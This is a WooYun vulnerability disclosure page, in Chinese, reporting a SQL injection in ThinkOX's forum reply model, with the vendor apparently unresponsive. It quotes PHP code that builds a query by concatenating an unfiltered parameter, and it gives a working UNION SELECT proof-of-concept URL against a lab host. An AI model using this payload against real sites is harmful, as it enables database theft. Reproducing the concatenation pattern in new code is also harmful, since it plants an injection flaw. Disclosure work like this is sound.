当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
ThinkOX最新版注入#2
相关厂商:
漏洞作者:
提交时间:
2014-12-22 10:08
修复时间:
2015-03-22 10:10
公开时间:
2015-03-22 10:10
漏洞类型:
SQL注射漏洞
危害等级:
自评Rank:
5
漏洞状态:
未联系到厂商或者厂商积极忽略
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2014-12-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

ThinkOX参数未过滤导致SQL注入漏洞。

详细说明:

/Application/Forum/Model/ForumLzlReplyModel.class.php

public function getLZLReplyList($to_f_reply_id, $order, $page=1, $limit)
{
$list = S('post_replylzllist_' . $to_f_reply_id);
if ($list == null) {
$list = D('forum_lzl_reply')->where('is_del=0 and to_f_reply_id=' . $to_f_reply_id)->order($order)->select();
foreach ($list as $k => &$v) {
$v['userInfo'] = query_user(array('avatar128', 'nickname', 'uid', 'space_url', 'icons_html'), $v['uid']);
$v['content'] = op_t($v['content']);
}
unset($v);
S('post_replylzllist_' . $to_f_reply_id, $list, 60);
}
$list = getPage($list, $limit, $page);
return $list;
}


其中 $list = D('forum_lzl_reply')->where('is_del=0 and to_f_reply_id=' . $to_f_reply_id)->order($order)->select();
未经过过滤带入SQL语句导致注入。

漏洞证明:

exp:
http://10.211.55.3/thinkox/index.php?s=/forum/lzl/lzllist/to_f_reply_id/1%20and%201=2)union%20select%201,2,3,4,user(),6,7,8,9%23.html

修复方案:

过滤

版权声明:转载请注明来源 Ricter@乌云


>

漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝